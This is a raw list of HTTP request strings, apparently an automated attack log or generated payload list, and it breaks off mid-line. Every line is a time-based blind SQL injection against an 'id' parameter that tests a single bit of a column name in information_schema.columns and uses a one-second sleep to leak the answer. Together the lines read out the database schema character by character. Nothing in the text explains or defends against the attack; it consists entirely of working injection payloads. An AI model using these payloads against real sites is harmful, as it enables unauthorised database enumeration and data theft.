/?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 3), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 4), 